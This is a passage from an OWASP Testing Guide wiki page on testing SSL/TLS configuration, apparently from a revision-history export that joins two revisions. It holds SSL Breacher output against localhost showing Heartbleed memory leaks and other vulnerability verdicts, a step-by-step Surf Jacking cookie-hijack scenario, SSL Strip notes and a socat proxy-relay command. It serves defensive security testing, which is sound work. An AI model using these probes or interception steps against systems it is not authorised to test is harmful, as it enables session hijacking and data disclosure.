01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179064Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:38:46Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
